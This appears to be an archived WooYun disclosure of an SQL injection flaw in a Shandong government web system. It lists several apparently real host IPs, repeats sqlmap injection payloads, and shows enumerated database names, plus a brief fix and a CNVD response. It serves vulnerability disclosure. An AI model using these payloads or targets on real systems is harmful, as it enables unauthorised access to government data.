当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-089531

漏洞标题:某政府系统一处SQL注入#2

相关厂商:山东农友软件

漏洞作者: 路人甲

提交时间:2014-12-31 18:11

修复时间:2015-03-31 18:12

公开时间:2015-03-31 18:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-31: 细节已通知厂商并且等待厂商处理中
2015-01-05: 厂商已经确认,细节仅向厂商公开
2015-01-08: 细节向第三方安全合作伙伴开放
2015-03-01: 细节向核心白帽子及相关领域专家公开
2015-03-11: 细节向普通白帽子公开
2015-03-21: 细节向实习白帽子公开
2015-03-31: 细节向公众公开

简要描述:

RT

详细说明:

山东农友软件公司官网:http://www.nongyou.com.cn/
案例如下:
http://222.135.76.147:8200/ckq/jwhkzjdlist.aspx?tname=宁津办事处&CountryName=所前王家
http://60.217.72.17:7117/ckq/jwhkzjdlist.aspx?tname=山头办&CountryName=河北西社区
http://218.58.124.131:8003/ckq/jwhkzjdlist.aspx?tname=综合保税物流片区&CountryName=北岭村
http://218.56.40.229:8013/ckq/jwhkzjdlist.aspx?tname=昆嵛镇&CountryName=滩上
http://218.56.99.84:8003/ckq/jwhkzjdlist.aspx?tname=昆仑镇&CountryName=河石坞村
http://222.134.154.214:8001/ckq/jwhkzjdlist.aspx?tname=大张庄镇&CountryName=胜利村
1.测试注入点:http://222.134.154.214:8001/ckq/jwhkzjdlist.aspx?tname=大张庄镇&CountryName=胜利村

3.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: tname
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: tname=????' RLIKE (SELECT (CASE WHEN (9506=9506) THEN CONVERT(0xe5a
4a7e5bca0e5ba84e99587 USING utf8) ELSE 0x28 END)) AND 'Jfto'='Jfto&CountryName=?
??
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: tname=????' AND (SELECT 1011 FROM(SELECT COUNT(*),CONCAT(0x716c6263
71,(SELECT (CASE WHEN (1011=1011) THEN 1 ELSE 0 END)),0x7179687571,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pobb'='pobb&Coun
tryName=???
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: tname=????'; SELECT SLEEP(5)-- &CountryName=???
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: tname=????' AND SLEEP(5) AND 'jMaG'='jMaG&CountryName=???
---
[17:18:08] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0
[17:18:08] [INFO] fetching database names
[17:18:13] [INFO] the SQL query used returns 658 entries
[17:18:13] [INFO] retrieved: information_schema
[17:18:13] [INFO] retrieved: cw_databasecomm22yiyuanxian
[17:18:13] [INFO] retrieved: cw_databasecommzbyiyuanxian
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100012
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100015
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100030
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100031
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100041
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100042
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100043
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100044
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100046
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100047
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100048
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100055
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100060
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100061
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100063
[17:18:14] [WARNING] user aborted during enumeration. sqlmap will display partia
l output
available databases [18]:
[*] cw_databasecomm22yiyuanxian
[*] cw_databasecommzbyiyuanxian
[*] cwdbcommzbyiyuanxian100012
[*] cwdbcommzbyiyuanxian100015
[*] cwdbcommzbyiyuanxian100030
[*] cwdbcommzbyiyuanxian100031
[*] cwdbcommzbyiyuanxian100041
[*] cwdbcommzbyiyuanxian100042
[*] cwdbcommzbyiyuanxian100043
[*] cwdbcommzbyiyuanxian100044
[*] cwdbcommzbyiyuanxian100046
[*] cwdbcommzbyiyuanxian100047
[*] cwdbcommzbyiyuanxian100048
[*] cwdbcommzbyiyuanxian100055
[*] cwdbcommzbyiyuanxian100060
[*] cwdbcommzbyiyuanxian100061
[*] cwdbcommzbyiyuanxian100063
[*] information_schema
[17:18:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 19 times
[17:18:14] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\222.134.154.214'


均可复现。

漏洞证明:

1.测试注入点:http://222.134.154.214:8001/ckq/jwhkzjdlist.aspx?tname=大张庄镇&CountryName=胜利村

3.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: tname
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: tname=????' RLIKE (SELECT (CASE WHEN (9506=9506) THEN CONVERT(0xe5a
4a7e5bca0e5ba84e99587 USING utf8) ELSE 0x28 END)) AND 'Jfto'='Jfto&CountryName=?
??
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: tname=????' AND (SELECT 1011 FROM(SELECT COUNT(*),CONCAT(0x716c6263
71,(SELECT (CASE WHEN (1011=1011) THEN 1 ELSE 0 END)),0x7179687571,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pobb'='pobb&Coun
tryName=???
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: tname=????'; SELECT SLEEP(5)-- &CountryName=???
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: tname=????' AND SLEEP(5) AND 'jMaG'='jMaG&CountryName=???
---
[17:18:08] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0
[17:18:08] [INFO] fetching database names
[17:18:13] [INFO] the SQL query used returns 658 entries
[17:18:13] [INFO] retrieved: information_schema
[17:18:13] [INFO] retrieved: cw_databasecomm22yiyuanxian
[17:18:13] [INFO] retrieved: cw_databasecommzbyiyuanxian
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100012
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100015
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100030
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100031
[17:18:13] [INFO] retrieved: cwdbcommzbyiyuanxian100041
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100042
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100043
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100044
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100046
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100047
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100048
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100055
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100060
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100061
[17:18:14] [INFO] retrieved: cwdbcommzbyiyuanxian100063
[17:18:14] [WARNING] user aborted during enumeration. sqlmap will display partia
l output
available databases [18]:
[*] cw_databasecomm22yiyuanxian
[*] cw_databasecommzbyiyuanxian
[*] cwdbcommzbyiyuanxian100012
[*] cwdbcommzbyiyuanxian100015
[*] cwdbcommzbyiyuanxian100030
[*] cwdbcommzbyiyuanxian100031
[*] cwdbcommzbyiyuanxian100041
[*] cwdbcommzbyiyuanxian100042
[*] cwdbcommzbyiyuanxian100043
[*] cwdbcommzbyiyuanxian100044
[*] cwdbcommzbyiyuanxian100046
[*] cwdbcommzbyiyuanxian100047
[*] cwdbcommzbyiyuanxian100048
[*] cwdbcommzbyiyuanxian100055
[*] cwdbcommzbyiyuanxian100060
[*] cwdbcommzbyiyuanxian100061
[*] cwdbcommzbyiyuanxian100063
[*] information_schema
[17:18:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 19 times
[17:18:14] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\222.134.154.214'

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-01-05 08:15

厂商回复:

CNVD确认并复现所述情况,已经由CNVD按以往联系渠道向软件生产厂商_山东农友公司通报.

最新状态:

暂无